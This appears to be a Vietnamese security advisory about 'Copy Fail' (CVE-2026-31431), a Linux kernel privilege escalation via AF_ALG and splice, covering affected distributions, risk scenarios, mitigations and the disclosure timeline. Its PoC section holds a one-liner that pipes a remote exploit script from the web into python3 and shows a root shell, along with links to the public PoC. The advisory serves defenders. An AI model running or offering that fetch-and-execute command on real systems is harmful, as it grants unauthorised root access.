← Quay lại danh sách

732 byte khai thác được mọi Linux: lỗ hổng tầm cỡ sử thi ẩn mình gần một thập kỷ

itadol5j

Lỗ hổng Copy Fail

🚨 Lỗ hổng tầm cỡ sử thi: 732 byte khai thác được mọi Linux, ẩn mình gần một thập kỷ

Một lỗ hổng mang tên“Copy Fail”trong nhân Linux (CVE-2026-31431) vừa được công bố công khai:

  • 732 bytekịch bản Python
  • độ tin cậy 100%, không cần cửa sổ race condition hay offset nhân
  • Ảnh hưởng tới mọi bản phân phối Linux(từ 2017 đến nay)
  • Primitive thoát khỏi container, tấn công xuyên tenant
  • Ẩn mình gần một thập kỷ, mãi đến ngày 29/4/2026 mới được công bố

Cùng một kịch bản chạy trênUbuntu, RHEL, Amazon Linux, SUSEđều hiệu quả — không cần chỉnh sửa gì.

🎯 Trọng tâm lỗ hổng

Một khiếm khuyết logic duy nhất

Copy Fail là mộtkhiếm khuyết logic tuyến tính:

  • Không cần cửa sổ race condition: không giống phần lớn LPE trên Linux vốn cần race condition
  • Không cần offset nhân: không cần offset đặc thù của từng nhân
  • Độ tin cậy 100%: thành công mọi lần
  • Cùng một kịch bản: hiệu quả trên mọi bản phân phối

Chuỗi khai thác

Chuỗi tấn công của Copy Fail:

  • Lỗi logic authencesn: một bug logic
  • AF_ALG: qua crypto API của nhân
  • splice(): gọi nối chuỗi
  • Ghi 4 byte vào page cache: primitive tấn công cuối cùng
  • Có thể khai thác suốt gần một thập kỷ: từ 2017 đến khi bản vá ra mắt

📊 Phạm vi ảnh hưởng

Các bản phân phối được xác minh chính thức

Bản phân phối Phiên bản nhân Trạng thái
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Đã xác minh
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Đã xác minh
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Đã xác minh
SUSE 16 6.12.0-160000.9-default ✅ Đã xác minh

Các bản phân phối khác cũng bị ảnh hưởng

Các bản phân phối sau đâycũng bị ảnh hưởng:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux nhúng

Kết luận: nếu nhân của bạn được build trong khoảng từ 2017 đến trước bản vá —bạn đang bị ảnh hưởng.

💡 Các kịch bản rủi ro cao

Kịch bản Rủi ro Ảnh hưởng
Máy chủ Linux đa tenant Cao Bất kỳ người dùng nào cũng thành root
Kubernetes / cụm container Cao Tấn công xuyên container, xuyên tenant
CI Runner / Build Farm Cao PR chiếm quyền root của runner
Cloud SaaS chạy mã người dùng Cao Tenant trở thành host root
Máy chủ Linux tiêu chuẩn Trung bình LPE nội bộ, có thể xâu chuỗi tấn công
Laptop đơn người dùng Thấp Bước leo thang đặc quyền sau khai thác

🔧 Biện pháp giảm thiểu

Phương án 1: Cập nhật nhân (khuyến nghị)

Cập nhật nhân lên phiên bản bao gồmmainline commit a664bf3d603d:

  • Nội dung bản vá: hoàn tác tối ưu hóa in-place của algif_aead từ năm 2017
  • Hiệu quả: các trang page cache không còn xuất hiện trong destination scatterlist có thể ghi
  • Trạng thái: phần lớn các bản phân phối chủ đạo đã phát hành bản vá

Phương án 2: Vô hiệu hóa module algif_aead (tạm thời)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Ảnh hưởng khi vô hiệu hóa algif_aead

Thành phần Ảnh hưởng
dm-crypt / LUKS Không bị ảnh hưởng
kTLS / IPsec Không bị ảnh hưởng
OpenSSL / SSH Không bị ảnh hưởng
User space AF_ALG Có thể bị ảnh hưởng

Kết luận: với hầu hết hệ thống, việc vô hiệu hóa algif_aeadkhông gây ảnh hưởng đáng kể.

Phương án 3: Chặn AF_ALG bằng seccomp

Với các workload không đáng tin cậy (container, sandbox, CI), hãy chặn việc tạo AF_ALG socket qua seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Trình diễn PoC

PoC của lỗ hổng đã được công khai để các defenders xác minh hệ thống:

Chạy nhanh

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Chi tiết PoC

  • Kích thước tệp: 732 byte
  • Ngôn ngữ: chỉ dùng stdlib Python 3.10+ (os, socket, zlib)
  • Mục tiêu mặc định: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Cảnh báo: kịch bản sửa đổi page cache của tệp setuid; thay đổi không tồn tại sau khi khởi động lại, nhưng root shell là có thật. Không chạy trong môi trường sản xuất.

📅 Dòng thời gian công bố

Ngày Sự kiện
2026-03-23 Báo cáo cho Linux kernel security team
2026-03-24 Xác nhận ban đầu
2026-03-25 Đề xuất và xem xét bản vá
2026-04-01 Bản vá được nộp vào mainline
2026-04-22 CVE-2026-31431 được cấp phát
2026-04-29 Công bố công khai

🔍 Người phát hiện: Xint Code

Lỗ hổng doXint Codephát hiện:

  • Thời gian quét: khoảng 1 giờ quét subsystem crypto/ của Linux
  • Cách phát hiện: kiểm toán mã nguồn bằng AI
  • Phân tích đầy đủ: root cause, diagrams, operator prompt
  • Các phát hiện khác: đồng thời phát hiện các lỗ hổng nghiêm trọng khác, vẫn đang trong quá trình công bố phối hợp

Thành tích của Xint Code

  • 0-day RCE: ZeroDay Cloud, quét sạch hạng mục cơ sở dữ liệu (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: chung kết DARPA AI Cyber Challenge
  • DEF CON CTF 9×: đội vô địch nhiều nhất trong lịch sử DEF CON CTF

📝 Kết luận

Copy Fail (CVE-2026-31431) làlỗ hổng nhân Linux tầm cỡ sử thi:

  • 732 byte khai thác được mọi Linux (từ 2017 đến nay)
  • Độ tin cậy 100%, một khiếm khuyết logic duy nhất
  • Thoát khỏi container, tấn công xuyên tenant
  • Ẩn mình gần một thập kỷ, công bố ngày 29/4/2026
  • Kịch bản rủi ro cao: máy chủ đa tenant, cụm container, CI Runner, SaaS
  • Giảm thiểu: cập nhật nhân hoặc vô hiệu hóa algif_aead
  • Người phát hiện: Xint Code, kiểm toán mã nguồn bằng AI

Lỗ hổng tầm cỡ sử thi kéo dài gần một thập kỷ, một kịch bản khai thác được mọi Linux.

Trang web chính thức của lỗ hổng:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Phân tích kỹ thuật:https://xint.io/blog/copy-fail-linux-distributions

Bản vá Kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5